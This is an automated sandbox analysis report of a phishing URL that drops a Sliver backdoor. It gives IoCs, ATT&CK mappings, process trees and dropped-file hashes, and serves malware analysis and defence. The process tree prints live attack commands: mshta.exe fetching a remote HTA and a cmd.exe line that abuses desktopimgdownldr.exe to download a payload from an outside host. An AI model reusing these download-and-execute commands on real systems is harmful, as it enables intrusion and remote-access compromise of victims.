sliver | hxxps://transfer[.]sapo[.]pt/downloads/59a7a12a-f30c-47ba-b9cd-5c16377db4aa/sapotransfer-62781136816c1O8/

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2024 18:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://transfer.sapo.pt/downloads/59a7a12a-f30c-47ba-b9cd-5c16377db4aa/sapotransfer-62781136816c1O8/

Score

10^/10

sliver backdoor discovery phishing trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://0day.works/a

Signatures

Sliver RAT v2 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2624-173-0x0000000307FC0000-0x00000003090C1000-memory.dmp	SliverRAT_v2

Sliver family
sliver
SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
trojan backdoor sliver
Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow pid process

162 2480 mshta.exe
164 2480 mshta.exe
Downloads MZ/PE file
A potential corporate email address has been identified in the URL: currency-file@1
phishing
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation mshta.exe
Executes dropped EXE 1 IoCs

Processes:

TapiUnattend.exe

pid process

2764 TapiUnattend.exe
Drops file in Windows directory 2 IoCs

Processes:

mshta.exe

description ioc process

File created C:\Windows\Tasks\TapiUnattend.exe mshta.exe
File opened for modification C:\Windows\Tasks\TapiUnattend.exe mshta.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
162	2480	mshta.exe
164	2480	mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
2764	TapiUnattend.exe

description	ioc	process
File created	C:\Windows\Tasks\TapiUnattend.exe	mshta.exe
File opened for modification	C:\Windows\Tasks\TapiUnattend.exe	mshta.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133770321585349274"	chrome.exe

Modifies registry class 1 IoCs

Processes:

chrome.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings chrome.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

chrome.exechrome.exe

pid process

3492 chrome.exe
3492 chrome.exe
1444 chrome.exe
1444 chrome.exe
1444 chrome.exe
1444 chrome.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

Processes:

chrome.exeTapiUnattend.exe

pid process

3492 chrome.exe
3492 chrome.exe
3492 chrome.exe
3492 chrome.exe
3492 chrome.exe
2764 TapiUnattend.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe
Token: SeShutdownPrivilege	3492	chrome.exe
Token: SeCreatePagefilePrivilege	3492	chrome.exe

Suspicious use of FindShellTrayWindow 33 IoCs

Processes:

chrome.exe

pid	process
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

chrome.exe

pid	process
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe
3492	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 3492 wrote to memory of 3720	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 3720	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2484	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2540	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 2540	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe
PID 3492 wrote to memory of 4872	3492	chrome.exe	chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://transfer.sapo.pt/downloads/59a7a12a-f30c-47ba-b9cd-5c16377db4aa/sapotransfer-62781136816c1O8/
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xdc,0xe0,0xd4,0xd8,0x104,0x7ffcbdffcc40,0x7ffcbdffcc4c,0x7ffcbdffcc58
  2⤵
  PID:3720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1900,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1896 /prefetch:2
  2⤵
  PID:2484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2140,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2180 /prefetch:3
  2⤵
  PID:2540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2220,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2272 /prefetch:8
  2⤵
  PID:4872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3132,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3140 /prefetch:1
  2⤵
  PID:1564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3148,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3172 /prefetch:1
  2⤵
  PID:1292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4592,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4604 /prefetch:8
  2⤵
  PID:2924
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4780,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4768 /prefetch:1
  2⤵
  PID:4596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4604,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4928 /prefetch:1
  2⤵
  PID:4692
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4820,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4612 /prefetch:1
  2⤵
  PID:1960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5380,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5412 /prefetch:8
  2⤵
  PID:2984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4744,i,16421277929652367841,16011764276787108856,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5292 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1444

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1800

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1308

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://0day.works/a
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops file in Windows directory
PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c set "SYSTEMROOT=C:\Windows\Temp" && desktopimgdownldr.exe /deskimgurl:https://0day.works/null /eventName:desktopimgdownldr
  2⤵
  PID:4728
- - C:\Windows\system32\desktopimgdownldr.exe
    desktopimgdownldr.exe /deskimgurl:https://0day.works/null /eventName:desktopimgdownldr
    3⤵
    PID:1668
- C:\Windows\Tasks\TapiUnattend.exe
  "C:\Windows\Tasks\TapiUnattend.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  PID:2764
- - C:\Windows\System32\TapiUnattend.exe
    C:\Windows\System32\TapiUnattend.exe
    3⤵
    PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
b3d5c8f241a8031a8471825d59891c51

SHA1
5643275674bcf28198ad617b0494fa90b06fe835

SHA256
749deeb036cbadbcfab301381f47eb1ef880db3e9f410b20666a59328de591e6

SHA512
d3e577106f4f7aecbee5150bf885e1b5325b0b43e11403f0fb214421a7434e6e988817b944d853d570ece35f505623a1455cdf05dc2efb4f76414cd14d83de00

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
720B

MD5
d97f920a24b3ba6b6ccd9c6dea6faea8

SHA1
1ef72dc0357dc53e403eeafd9ff506e913644fb8

SHA256
fa7dbd32f792563d6b7197d5d1197e6ea30c05c9b8cbee49f82ecf30fb833427

SHA512
a0542422ae6575720accbdb0634aae448f874544e1fbfc5e1a1d02196d0edefed887c9c46cf0aa77995ea6a493e755f16610ab4cdcf4bfdd4d9b30a1a22ed35b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
7KB

MD5
e07076d5e899634633633cda842ed897

SHA1
d9ad2eb3247923ed07cc975098eaeea067264a60

SHA256
dbba9a80f6fe85c4928ec67053eb989844f10c897578e78095360c80308f1c3f

SHA512
cbcf53dda08a725c9210c928bc8a804c32ba18bbdf93d646b4b9dda9aed0fe55ecda7879e7a54bf062cd5ad2b1c6d1fda588ebe1b08dc6b8e83ec6310996626f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
2KB

MD5
a8eeb92f5e9c8f33792684c8ffbad701

SHA1
86509a0b69c2f00ff16ab3bb524600b927a21e8b

SHA256
6c09261bd2d2a83a95106b70d80024ad31863dbaaecfaa1fe5b43a0cf1ce7a7a

SHA512
846ec915ee738c4c430b0e9c49aa0c3a8d1186509f46cb3446822e69e9e7da9142fdb5a84456d4e2d04f2ab7b39bdd977e287a45d9d6219d7521417fb593a7fd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
0c5c2c02caa864bb7746fb44cb7ff412

SHA1
fb1e6d786f35b56ce7269de360be419814a4256d

SHA256
e513e670596429e71bf3ec3a5102b15a0619f52fa0eca72824221e87f15ef622

SHA512
1fac856f17a9496bf3463a345fbd848462faadaa00ef429c995ffe50d3bdab8fafb2586385ae6c8c571407d01259f790f4cd082f1640cd99ced212271b12705f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
e61aeb455bf4a70d1ae328711961873c

SHA1
bd75338baaf89461cd1efffcf90db9145358494c

SHA256
d80dbf03141b1472f5abae8055f9d16c1eed94d374e5d2ce39f17394e729eb57

SHA512
07c36097fe27683e3cb221876399db178b8c4885325e33ed71798ca0c1c577e3e5a2d1fe403f8975ce9e858d42e78ff0af50cde21423e9f9cbc131202dee1a5b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
ddd206d947d0fa1c44395722cbc8932e

SHA1
649eb66a34b82982f4cfe5654d2ac30e23bafa43

SHA256
6a1a15a4383804ed3f064cac7ebeb7799cfe0b831111f2e474fcb88060d46877

SHA512
76a7480b258486d06c1015941b4b3954223962c86cb69cdd4a78fba176073629770959dd1894f21e594520492e71502e538069f20f7067506227d30eded975a2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
2f5c1312fecd954f58bb6ce2f44786bd

SHA1
21dcdab0ed091ce5a4b4f73c8ca6b19e970b40dc

SHA256
a334fb0276137f0e503e8253b3aa2c6d92eb8268574048e17d5ebe2ee8273a64

SHA512
8ae57c5310e69c80e639c85958f35af65760c47623d0ad0b0368772ac094fe704e9cbd3dd8ba10422f8720eb35cab0faff8e875533bbeae251ddcacd1a3417e9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
3e5e95b1251698c59dd7113b39816d39

SHA1
0b6f32c619a1940639f1771d7d879993a89c80cb

SHA256
06df141551939663600c09a275832bbd9f70ae18377ff5429b320bf6ab25e3d9

SHA512
2be447c112b77aefbeeb968305cfb87c6f23f66a8658b8638556f61fea1eb49a7ac5e92b93abddc63b760aaf2f11abd6a4905bd0a15f5d80e5f820aa788e05e6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
e709253e1d374cd88c48d941fb3dfd75

SHA1
7ee4f53fd374e08d41565b14846f6a6365cff048

SHA256
3fc5db8978333396b4fdac6b4ef486fee98cb94fdce08d3b3c7f5e74eec6f0ae

SHA512
e5d590ad3d3a1a1faea209b4dfa5f4e4d10887a079b49e2fba1b5d72617bebb41ac912f803147a1e6e1b26c854c0c03f12f31c21f565467e654f235bb76ac221

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
f12ab00207c0343639b38c37296e41b7

SHA1
9fdd32c95e0f6a4ab6bee5f0f92fe4008aef6094

SHA256
7179d60e672d6b9ba93c9712f7c9d5aba782b09126e44bcd842722b2536f3e82

SHA512
43bd8362bbbcf1cf8e055edaa5a9f52b7735700603354139f9fe523278fdf6e4d2e1410bea0cce0d0452f4bf0b3a982ee037fffe1ac158ed73ee2b30e52856c6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
d73bcb7957e1f8305ca0490569be8373

SHA1
f2bd086f9ef1b6b841cb99bc1b74bb4cf02335f5

SHA256
8f360c247b87385821f847b3674b4433aca65d90dc60c2cfe059405216e47c3d

SHA512
4f30258965416611c196e138189e8b82a2e1b86797226aeb6698c4677305e82a80ac1759dbe2bfaf22654927ffbe5de91f0587177981abca82d2bb048b77eb16

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
53a0229166223c8445db2275f110eb22

SHA1
667ed6d5c70ef3b42dac3ec06881dc9f0546d4db

SHA256
8ab6b9630167532d5a9679fb24f88158ee91046cd519252be387ded899589729

SHA512
81bb2fa95123e0ba99c62f757577fd5e2d8242de3f3e64ea05be56143e4be557c588167c8795718c4bed6f3ce1fba97912b5c678293efb84839abf1969a1a202

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
71a4a029799e0faf9a093b230b0b6c2b

SHA1
db54893c00de192743e10b2b2d8ce347cf84cb4f

SHA256
538a34f154e9019948122184923af6dd8626bbb9d11d067e8e87fc5047f71bd4

SHA512
8fbf2601b538f9f66689baba7f3b9b87fb4c20db4a58690633787da831284e37a0469e153ac13c417af45a419f52819b1b3844a816430bed5314f09cd4579427

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
116KB

MD5
ae8cf90d8ce28f45140fad3d1b506180

SHA1
3b3bc7956bea8f65e66d96f4e047c71e2d13f10e

SHA256
4dfbac0b245109233ca76324aa17fb9948f1fd213180d3af0256073ce90afce1

SHA512
efe39bf499acbbb2f854bfe231d1cafce132f22227f5211268b657887a7f0e537efeb6d06ce2b75a690f36c45b1ec1fccf0952357eec90d3899aee46583ff0c5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
116KB

MD5
7d089054c19f7dfea2a1e22d78f16efe

SHA1
82dfcebdce9cd8a4ed0d85339ed06bc025d2576e

SHA256
f51050223acde3f8e769529eb5faf17f606d80bedc69d2465fdca6fc40f3cae7

SHA512
